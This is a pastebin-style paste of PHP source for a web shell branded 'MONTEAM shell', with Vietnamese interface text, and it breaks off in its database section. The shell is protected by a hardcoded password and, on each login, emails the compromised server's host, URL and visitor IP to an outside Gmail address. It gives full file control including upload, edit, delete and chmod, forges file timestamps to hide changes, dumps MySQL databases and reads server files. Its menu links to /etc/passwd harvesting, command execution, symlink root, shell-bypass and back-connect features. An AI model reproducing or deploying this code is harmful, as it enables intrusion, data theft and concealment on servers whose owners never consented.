· 10 years ago · Jul 10, 2016, 06:15 PM
1<?php
2
3error_reporting(7);
4@set_magic_quotes_runtime(0);
5ob_start();
6$mtime = explode(' ', microtime());
7$starttime = $mtime[1] + $mtime[0];
8define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0);
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
14@set_time_limit(0);
15foreach (array(
16 '_GET',
17 '_POST'
18) as $_request) {
19 foreach ($$_request as $_key => $_value) {
20 if ($_key{0} != '_') {
21 if (IS_GPC) {
22 $_value = s_array($_value);
23 }
24 $$_key = $_value;
25 }
26 }
27}
28$admin = array();
29$admin['check'] = true;
30$admin['pass'] = 'monteam';
31$admin['cookiepre'] = '';
32$admin['cookiedomain'] = '';
33$admin['cookiepath'] = '/';
34$admin['cookielife'] = 86400; //1 ngày
35if ($charset == 'utf8') {
36 header("content-Type: text/html; charset=utf-8");
37} elseif ($charset == 'big5') {
38 header("content-Type: text/html; charset=big5");
39} elseif ($charset == 'gbk') {
40 header("content-Type: text/html; charset=gbk");
41} elseif ($charset == 'latin1') {
42 header("content-Type: text/html; charset=iso-8859-2");
43}
44$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
45$timestamp = time();
46if ($action == "logout") {
47 scookie('JKD-1142', '', -86400 * 365); // cookie này giá trị là rỗng, thời hạn 1 năm
48 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
49 p('<body background=black>');
50 exit;
51}
52if ($admin['check']) {
53 if ($doing == 'login') {
54 if ($admin['pass'] == $password) {
55 scookie('JKD-1142', $password);
56 $time_shell = "" . date("d/m/Y - H:i:s") . "";
57 $ip_remote = $_SERVER["REMOTE_ADDR"];
58 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
59 $to_email = 'hackkerguy9@gmail.com';
60 //
61 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
62 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell";
63 $header = "From: $from_shellcode
64Reply-to: $from_shellcode";
65 @mail($to_email, $server_mail, $linkcr, $header);
66 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
67 p('<body bgcolor=black><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
68<BR><BR><div align=center><font color=yellow face=tahoma size=2>Chào mừng MONTEAM đã quay trở lại. Chúc MONTEAM làm việc vui vẻ.<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
69 exit;
70 } else {
71 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Mật khẩu sai!!!</blink><BR></font></div></td></tr></table>';
72 echo $err_mess;
73 }
74 }
75 if ($_COOKIE['JKD-1142']) {
76 if ($_COOKIE['JKD-1142'] != $admin['pass']) {
77 loginpage();
78 }
79 } else {
80 loginpage();
81 }
82}
83$errmsg = '';
84if ($action == 'phpinfo') {
85 if (IS_PHPINFO) {
86 phpinfo();
87 } else {
88 $errmsg = 'phpinfo() function has non-permissible';
89 }
90}
91if ($doing == 'downfile' && $thefile) {
92 if (!@file_exists($thefile)) {
93 $errmsg = 'The file you want Downloadable was nonexistent';
94 } else {
95 $fileinfo = pathinfo($thefile);
96 header('Content-type: application/x-' . $fileinfo['extension']);
97 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
98 header('Content-Length: ' . filesize($thefile));
99 @readfile($thefile);
100 exit;
101 }
102}
103if ($doing == 'backupmysql' && !$saveasfile) {
104 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
105 $table = array_flip($table);
106 $result = q("SHOW tables");
107 if (!$result)
108 p('<h2>' . mysql_error() . '</h2>');
109 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
110 header('Content-type: application/unknown');
111 header('Content-Disposition: attachment; filename=' . $filename);
112 $mysqldata = '';
113 while ($currow = mysql_fetch_array($result)) {
114 if (isset($table[$currow[0]])) {
115 $mysqldata .= sqldumptable($currow[0]);
116 }
117 }
118 mysql_close();
119 exit;
120}
121if ($doing == 'mysqldown') {
122 if (!$dbname) {
123 $errmsg = ' dbname';
124 } else {
125 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
126 if (!file_exists($mysqldlfile)) {
127 $errmsg = 'The file you want Downloadable was nonexistent';
128 } else {
129 $result = q("select load_file('$mysqldlfile');");
130 if (!$result) {
131 q("DROP TABLE IF EXISTS tmp_angel;");
132 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
133 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
134 $result = q("select content from tmp_angel");
135 q("DROP TABLE tmp_angel");
136 }
137 $row = @mysql_fetch_array($result);
138 if (!$row) {
139 $errmsg = 'Load file failed ' . mysql_error();
140 } else {
141 $fileinfo = pathinfo($mysqldlfile);
142 header('Content-type: application/x-' . $fileinfo['extension']);
143 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
144 header("Accept-Length: " . strlen($row[0]));
145 echo $row[0];
146 exit;
147 }
148 }
149 }
150}
151?><html>
152<head>
153<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
154<title>.:: MONTEAM shell ::. </title>
155<style type="text/css">
156body,td{font: 13pt Times New Roman;color:#00FF7F;line-height: 16px;font-weight: bold;}
157
158a {color: #00FF7F;text-decoration:none;}
159a:hover{color: yellow;text-decoration:underline;}
160.alt1 td{border-top:1px solid green;border-bottom:1px solid green;background:black;padding:5px 10px 5px 5px;}
161.alt2 td{border-top:1px solid green;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}
162.focus td{border-top:1px solid green;border-bottom:0px solid red;background:black;padding:5px 10px 5px 5px;}
163.fout1 td{border-top:1px solid green;border-bottom:0px solid red;background:black;padding:5px 10px 5px 5px;}
164.fout td{border-top:1px solid green;border-bottom:0px solid red;background:black;padding:5px 10px 5px 5px;}
165.head td{border-top:1px solid green;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;font-weight:bold;}
166.head_small td{border-top:1px solid green;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
167.head td span{font-weight:normal;}
168form{margin:0;padding:0;}
169h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:blue;}
170ul.info li{margin:0;color:red;line-height:24px;height:24px;}
171u{text-decoration: none;color:red;float:left;display:block;width:150px;margin-right:10px;}
172input, textarea, button
173{
174 font-size: 9pt;
175 color: #7CFC00;
176 font-family: verdana, sans-serif;
177 background-color: black;
178 border-left: 1px solid red;
179 border-top: 1px solid red;
180 border-right: 1px solid red;
181 border-bottom: 1px solid red;
182}
183select
184{
185 font-size: 8pt;
186 font-weight: normal;
187 color: red;
188 font-family: verdana, sans-serif;
189 background-color: red;
190}
191
192</style>
193</style>
194<script type="text/javascript">
195function CheckAll(form) {
196 for(var i=0;i<form.elements.length;i++) {
197 var e = form.elements[i];
198 if (e.name != 'chkall')
199 e.checked = form.chkall.checked;
200 }
201}
202function $(id) {
203 return document.getElementById(id);
204}
205function goaction(act){
206 $('goaction').action.value=act;
207 $('goaction').submit();
208}
209</script>
210</head>
211<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRK_QB_1mYXBlNTo-jGppwoYIEXvokKqwaDMa7WUJqGr3JJaXIR>
212<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
213<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
214 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
215 <tr>
216 <td align="center" valign=center>
217 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
218 Đang tải<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
219 </div>
220 </td>
221 </tr>
222 </table>
223</div>
224 <script>
225 var ld=(document.all);
226 var ns4=document.layers;
227 var ns6=document.getElementById&&!document.all;
228 var ie4=document.all;
229 if (ns4)
230 ld=document.loading;
231 else if (ns6)
232 ld=document.getElementById("loading").style;
233 else if (ie4)
234 ld=document.all.loading.style;
235 function init()
236 {
237 if(ns4){ld.visibility="hidden";}
238 else if (ns6||ie4) ld.display="none";
239 }
240 </script>
241<table width="100%" border="0" cellpadding="0" cellspacing="0">
242 <tr class="head_small">
243 <td width=100%>
244 <table width=100%><tr class="head_small"><td width=86px><p><a title=" .:: MONTEAM shell ::. " ><img src='https://scontent-tpe1-1.xx.fbcdn.net/hphotos-xpt1/v/t1.0-9/12494814_177366242626985_7194683166743787218_n.jpg?oh=605304e19e886176aafe3a4ea86ac28a&oe=57468232' width="300px" height="300px"></a></p>
245 </td>
246 <td>
247
248 <span style="float:left;"> <?php echo "Tên Host: ".$_SERVER['HTTP_HOST']."";?> | Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> | Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>
249 | <a href="http://google.com" target="_blank"><?php echo str_replace('.','','MONTEAM');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Thoát</font></a></span> <br />
250
251 <?php
252 //setup php for working with Unicode data
253mb_internal_encoding('UTF-8');
254mb_http_output('UTF-8');
255mb_http_input('UTF-8');
256mb_language('uni');
257mb_regex_encoding('UTF-8');
258ob_start('mb_output_handler');
259
260$curl_on = @function_exists('curl_version');
261$mysql_on = @function_exists('mysql_connect');
262$mssql_on = @function_exists('mssql_connect');
263$pg_on = @function_exists('pg_connect');
264$ora_on = @function_exists('ocilogon');
265echo (($safe_mode) ? ("Safe_mod: <b><font color=green>Mở</font></b> - ") : ("Safe_mod: <b><font color=red>Đóng</font></b> - "));
266echo "PHP version: <b>" . @phpversion() . "</b> - ";
267echo "cURL: " . (($curl_on) ? ("<b><font color=green>Mở</font></b> - ") : ("<b><font color=red>Đóng</font></b> - "));
268echo "MySQL: <b>";
269$mysql_on = @function_exists('mysql_connect');
270if ($mysql_on) {
271 echo "<font color=green>Mở</font></b> - ";
272} else {
273 echo "<font color=red>Đóng</font></b> - ";
274}
275echo "MSSQL: <b>";
276$mssql_on = @function_exists('mssql_connect');
277if ($mssql_on) {
278 echo "<font color=green>Mở</font></b> - ";
279} else {
280 echo "<font color=red>Đóng</font></b> - ";
281}
282echo "PostgreSQL: <b>";
283$pg_on = @function_exists('pg_connect');
284if ($pg_on) {
285 echo "<font color=green>Mở</font></b> - ";
286} else {
287 echo "<font color=red>Đóng</font></b> - ";
288}
289echo "Oracle: <b>";
290$ora_on = @function_exists('ocilogon');
291if ($ora_on) {
292 echo "<font color=green>Mở</font></b>";
293} else {
294 echo "<font color=red>Đóng</font></b><BR>";
295}
296echo "Disable functions : <b>";
297if ('' == ($df = @ini_get('disable_functions'))) {
298 echo "<font color=green>KHÔNG</font></b><BR>";
299} else {
300 echo "<font color=red>$df</font></b><BR>";
301}
302echo "<font color=white>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
303echo "<font color=white>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=white>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";
304?></td></tr></table></td>
305 </tr>
306
307 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
308 <tr class="alt1">
309 <td width=10%><a href="javascript:goaction('file');">Trang chủ</a> |
310 <a href="javascript:goaction('sqladmin');">SQL</a>
311 <?php
312if (!IS_WIN) {
313?> | <a href="javascript:goaction('dumper');">Dumper</a><?php
314}
315?> |
316 <a href="javascript:goaction('hash');">Hash Tool</a>
317 <?php
318if (!IS_WIN) {
319?> | <a href="javascript:goaction('etcpwd');">Get user</a> <?php
320}
321?>
322 <?php
323if (!IS_WIN) {
324?> | <a href="javascript:goaction('newcommand');">Lệnh</a> <?php
325}
326?>
327 <?php
328if (!IS_WIN) {
329?> | <a href="javascript:goaction('monteamCGI.log');">Tạo CGI</a><?php
330}
331?>
332 <?php
333if (!IS_WIN) {
334?> | <a href="monteam/monteamCGI.log" target="_blank">Mở CGI</a><?php
335}
336?>
337 <?php
338if (!IS_WIN) {
339?> | <a href="javascript:goaction('symroot');">Get Root</a><?php
340}
341?>
342 <?php
343if (!IS_WIN) {
344?> | <a href="sym/" target="_blank">Open Sym </a><?php
345}
346?>
347 <?php
348if (!IS_WIN) {
349?> | <a href="javascript:goaction('symljnk');">Symljnk</a><?php
350}
351?>
352 <?php
353if (!IS_WIN) {
354?> | <a href="javascript:goaction('bypassshell');">By Pass Shell</a><?php
355}
356?>
357 <?php
358if (!IS_WIN) {
359?> | <a href="javascript:goaction('leech');">Leech</a><?php
360}
361?>
362 <?php
363if (!IS_WIN) {
364?> | <a href="javascript:goaction('backconnect');">Back</a><?php
365}
366?>
367 <?php
368if (!IS_WIN) {
369?> | <a href="javascript:goaction('command');">Win</a> <?php
370}
371?>
372 <?php
373if (!IS_WIN) {
374?> | <a href="javascript:goaction('reverseip');">Reverse </a><?php
375}
376?>
377 </td>
378 </tr>
379</table>
380<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
381<?php
382//setup php for working with Unicode data
383mb_internal_encoding('UTF-8');
384mb_http_output('UTF-8');
385mb_http_input('UTF-8');
386mb_language('uni');
387mb_regex_encoding('UTF-8');
388ob_start('mb_output_handler');
389formhead(array(
390 'name' => 'goaction'
391));
392makehide('action');
393formfoot();
394$errmsg && m($errmsg);
395!$dir && $dir = '.';
396$nowpath = getPath(SA_ROOT, $dir);
397if (substr($dir, -1) != '/') {
398 $dir = $dir . '/';
399}
400$uedir = ue($dir);
401if (!$action || $action == 'file') {
402 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
403 if ($doing == 'deldir' && $thefile) {
404 if (!file_exists($thefile)) {
405 m($thefile . ' directory does not exist');
406 } else {
407 m('Thư mục được xóa ' . (deltree($thefile) ? basename($thefile) . ' thành công' : 'thất bại'));
408 }
409 } elseif ($newdirname) {
410 $mkdirs = $nowpath . $newdirname;
411 if (file_exists($mkdirs)) {
412 m('Thư mục đã tồn tại');
413 } else {
414 m('Thư mục được tạo ' . (@mkdir($mkdirs, 0777) ? 'thành công' : 'thất bại'));
415 @chmod($mkdirs, 0777);
416 }
417 } elseif ($doupfile) {
418 m('File tải lên ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'thành công' : 'thất bại'));
419 } elseif ($editfilename && $filecontent) {
420 $fp = @fopen($editfilename, 'w');
421 m('Lưu file ' . (@fwrite($fp, $filecontent) ? 'thành công' : 'thất bại'));
422 @fclose($fp);
423 } elseif ($pfile && $newperm) {
424 if (!file_exists($pfile)) {
425 m('The original file does not exist');
426 } else {
427 $newperm = base_convert($newperm, 8, 10);
428 m('Thay đổi phân quyền ' . (@chmod($pfile, $newperm) ? 'thành công' : 'Thất bại'));
429 }
430 } elseif ($oldname && $newfilename) {
431 $nname = $nowpath . $newfilename;
432 if (file_exists($nname) || !file_exists($oldname)) {
433 m($nname . ' has already existed or original file does not exist');
434 } else {
435 m(basename($oldname) . ' Đổi tên ' . basename($nname) . (@rename($oldname, $nname) ? ' thành công' : 'thất bại'));
436 }
437 } elseif ($sname && $tofile) {
438 if (file_exists($tofile) || !file_exists($sname)) {
439 m('The goal file has already existed or original file does not exist');
440 } else {
441 m(basename($tofile) . ' Sao chép ' . (@copy($sname, $tofile) ? basename($tofile) . ' thành công' : 'thất bại'));
442 }
443 } elseif ($curfile && $tarfile) {
444 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
445 m('The goal file has already existed or original file does not exist');
446 } else {
447 $time = @filemtime($tarfile);
448 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
449 }
450 } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
451 if (!@file_exists($curfile)) {
452 m(basename($curfile) . ' does not exist');
453 } else {
454 $time = strtotime("$year-$month-$day $hour:$minute:$second");
455 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
456 }
457 } elseif ($doing == 'downrar') {
458 if ($dl) {
459 $dfiles = '';
460 foreach ($dl as $filepath => $value) {
461 $dfiles .= $filepath . ',';
462 }
463 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
464 $dl = explode(',', $dfiles);
465 $zip = new PHPZip($dl);
466 $code = $zip->out;
467 header('Content-type: application/octet-stream');
468 header('Accept-Ranges: bytes');
469 header('Accept-Length: ' . strlen($code));
470 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
471 echo $code;
472 exit;
473 } else {
474 m('Xin hãy chọn file');
475 }
476 } elseif ($doing == 'delfiles') {
477 if ($dl) {
478 $dfiles = '';
479 $succ = $fail = 0;
480 foreach ($dl as $filepath => $value) {
481 if (@unlink($filepath)) {
482 $succ++;
483 } else {
484 $fail++;
485 }
486 }
487 m('Xóa >> thành công ' . $succ . ' thất bại ' . $fail);
488 } else {
489 m('Xin hãy chọn file');
490 }
491 }
492 formhead(array(
493 'name' => 'createdir'
494 ));
495 makehide('newdirname');
496 makehide('dir', $nowpath);
497 formfoot();
498 formhead(array(
499 'name' => 'fileperm'
500 ));
501 makehide('newperm');
502 makehide('pfile');
503 makehide('dir', $nowpath);
504 formfoot();
505 formhead(array(
506 'name' => 'copyfile'
507 ));
508 makehide('sname');
509 makehide('tofile');
510 makehide('dir', $nowpath);
511 formfoot();
512 formhead(array(
513 'name' => 'rename'
514 ));
515 makehide('oldname');
516 makehide('newfilename');
517 makehide('dir', $nowpath);
518 formfoot();
519 formhead(array(
520 'name' => 'fileopform'
521 ));
522 makehide('action');
523 makehide('opfile');
524 makehide('dir');
525 formfoot();
526 $free = @disk_free_space($nowpath);
527 !$free && $free = 0;
528 $all = @disk_total_space($nowpath);
529 !$all && $all = 0;
530 $used = $all - $free;
531 $used_percent = @round(100 / ($all / $free), 2);
532 p('<font color=yellow face=tahoma size=2><B>Quản lí dữ liệu</b> </font> Ổ đĩa còn trống <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
533?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
534 <form action="" method="post" id="godir" name="godir">
535 <tr>
536 <td nowrap>Directory (<?php
537 echo $dir_writeable;
538?>, <?php
539 echo getChmod($nowpath);
540?>)</td>
541 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
542 echo $nowpath;
543?>" type="text" style="width:100%;margin:0 8px;"></td>
544 <td nowrap><input class="bt" value="monteam" type="submit"></td>
545 </tr>
546 </form>
547 </table>
548 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
549 <marquee behavior="scroll" scrollamount="5" scrolldelay="10" width="80%"><font size="4" style="color:white;text-shadow: 0 0 1.9em blue,0 0 0.3em red;"><strong>MONTEAM</strong></marquee></font>
550<br><script type="text/javascript">
551function createdir(){
552 var newdirname;
553 newdirname = prompt('directory name:', '');
554 if (!newdirname) return;
555 $('createdir').newdirname.value=newdirname;
556 $('createdir').submit();
557}
558function fileperm(pfile){
559 var newperm;
560 newperm = prompt('Current file:'+pfile+'\n new attribute:', '');
561 if (!newperm) return;
562 $('fileperm').newperm.value=newperm;
563 $('fileperm').pfile.value=pfile;
564 $('fileperm').submit();
565}
566function copyfile(sname){
567 var tofile;
568 tofile = prompt('Path file cũ:'+sname+'\n Path file mới (ghi đầy đủ):', '');
569 if (!tofile) return;
570 $('copyfile').tofile.value=tofile;
571 $('copyfile').sname.value=sname;
572 $('copyfile').submit();
573}
574function rename(oldname){
575 var newfilename;
576 newfilename = prompt('Path folder cũ:'+oldname+'\n Tên mới:', '');
577 if (!newfilename) return;
578 $('rename').newfilename.value=newfilename;
579 $('rename').oldname.value=oldname;
580 $('rename').submit();
581}
582function dofile(doing,thefile,m){
583 if (m && !confirm(m)) {
584 return;
585 }
586 $('filelist').doing.value=doing;
587 if (thefile){
588 $('filelist').thefile.value=thefile;
589 }
590 $('filelist').submit();
591}
592function createfile(nowpath){
593 var filename;
594 filename = prompt('file name:', '');
595 if (!filename) return;
596 opfile('editfile',nowpath + filename,nowpath);
597}
598function opfile(action,opfile,dir){
599 $('fileopform').action.value=action;
600 $('fileopform').opfile.value=opfile;
601 $('fileopform').dir.value=dir;
602 $('fileopform').submit();
603}
604function godir(dir,view_writable){
605 if (view_writable) {
606 $('godir').view_writable.value=1;
607 }
608 $('godir').dir.value=dir;
609 $('godir').submit();
610}
611</script>
612 <?php
613 //setup php for working with Unicode data
614mb_internal_encoding('UTF-8');
615mb_http_output('UTF-8');
616mb_http_input('UTF-8');
617mb_language('uni');
618mb_regex_encoding('UTF-8');
619ob_start('mb_output_handler');
620 tbhead();
621 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
622 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
623 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">Thư mục gốc</a>');
624 if ($view_writable) {
625 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">Xem tất cả</a>');
626 } else {
627 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">Chỉ xem thư mục</a>');
628 }
629 p(' | <a href="javascript:createdir();">Tạo thư mục mới</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Tạo file mới</a>');
630 if (IS_WIN && IS_COM) {
631 $obj = new COM('scripting.filesystemobject');
632 if ($obj && is_object($obj)) {
633 $DriveTypeDB = array(
634 0 => 'Unknow',
635 1 => 'Removable',
636 2 => 'Fixed',
637 3 => 'Network',
638 4 => 'CDRom',
639 5 => 'RAM Disk'
640 );
641 foreach ($obj->Drives as $drive) {
642 if ($drive->DriveType == 2) {
643 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
644 } else {
645 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
646 }
647 }
648 }
649 }
650 p('</td></tr></form>');
651 p('<tr class="head"><td> </td><td>Tên file</td><td width="16%">Sửa lần cuối</td><td width="10%">Kích thước</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
652 $dirdata = array();
653 $filedata = array();
654 if ($view_writable) {
655 $dirdata = GetList($nowpath);
656 } else {
657 $dirs = @opendir($dir);
658 while ($file = @readdir($dirs)) {
659 $filepath = $nowpath . $file;
660 if (@is_dir($filepath)) {
661 $dirdb['filename'] = $file;
662 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
663 $dirdb['dirchmod'] = getChmod($filepath);
664 $dirdb['dirperm'] = getPerms($filepath);
665 $dirdb['fileowner'] = getUser($filepath);
666 $dirdb['dirlink'] = $nowpath;
667 $dirdb['server_link'] = $filepath;
668 $dirdb['client_link'] = ue($filepath);
669 $dirdata[] = $dirdb;
670 } else {
671 $filedb['filename'] = $file;
672 $filedb['size'] = sizecount(@filesize($filepath));
673 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
674 $filedb['filechmod'] = getChmod($filepath);
675 $filedb['fileperm'] = getPerms($filepath);
676 $filedb['fileowner'] = getUser($filepath);
677 $filedb['dirlink'] = $nowpath;
678 $filedb['server_link'] = $filepath;
679 $filedb['client_link'] = ue($filepath);
680 $filedata[] = $filedb;
681 }
682 }
683 unset($dirdb);
684 unset($filedb);
685 @closedir($dirs);
686 }
687 @sort($dirdata);
688 @sort($filedata);
689 $dir_i = '0';
690 foreach ($dirdata as $key => $dirdb) {
691 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
692 $thisbg = bg();
693 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
694 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
695 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
696 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
697 p('<td nowrap>--</td>');
698 p('<td nowrap>');
699 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
700 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
701 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'MONTEAM muốn xóa??? ' . $dirdb['filename'] . '? \\n\\nTất cả file trong thư mục sẽ bị xóa??.\')">Xóa</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Đổi tên</a></td>');
702 p('</tr>');
703 $dir_i++;
704 } else {
705 if ($dirdb['filename'] == '..') {
706 p('<tr class=fout>');
707 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Thư mục trước</a></td>');
708 p('</tr>');
709 }
710 }
711 }
712 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
713 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
714 makehide('action', 'file');
715 makehide('thefile');
716 makehide('doing');
717 makehide('dir', $nowpath);
718 $file_i = '0';
719 foreach ($filedata as $key => $filedb) {
720 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
721 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
722 $thisbg = bg();
723 p('<tr class="fout" onmouseover="this.className=\focus\;" onmouseout="this.className=\fout\;">');
724 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
725 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
726 p('<td nowrap>' . $filedb['mtime'] . '</td>');
727 p('<td nowrap>' . $filedb['size'] . '</td>');
728 p('<td nowrap>');
729 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
730 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
731 p('<td nowrap>');
732 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Tải về</a> | ');
733 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao chép</a> | ');
734 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Sửa</a> | ');
735 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Đổi tên</a> | ');
736 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Thời gian</a>');
737 p('</td></tr>');
738 $file_i++;
739 $file_i++;
740 }
741 }
742 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Tải về những mục đã chọn</a> - <a href="javascript:dofile(\'delfiles\');">Xóa </a></td><td colspan="4" align="right">' . $dir_i . ' Thư mục / ' . $file_i . ' files</td></tr>');
743 p('</form></table>');
744} // end dir
745
746
747?><script type="text/javascript">
748function mysqlfile(doing){
749 if(!doing) return;
750 $('doing').value=doing;
751 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
752 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
753 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
754 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
755 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
756 $('mysqlfile').charset.value=$('dbinfo').charset.value;
757 $('mysqlfile').submit();
758}
759</script>
760<?php
761 //setup php for working with Unicode data
762mb_internal_encoding('UTF-8');
763mb_http_output('UTF-8');
764mb_http_input('UTF-8');
765mb_language('uni');
766mb_regex_encoding('UTF-8');
767ob_start('mb_output_handler');
768if ($action == 'sqladmin') {
769 !$dbhost && $dbhost = 'localhost';
770 !$dbuser && $dbuser = 'root';
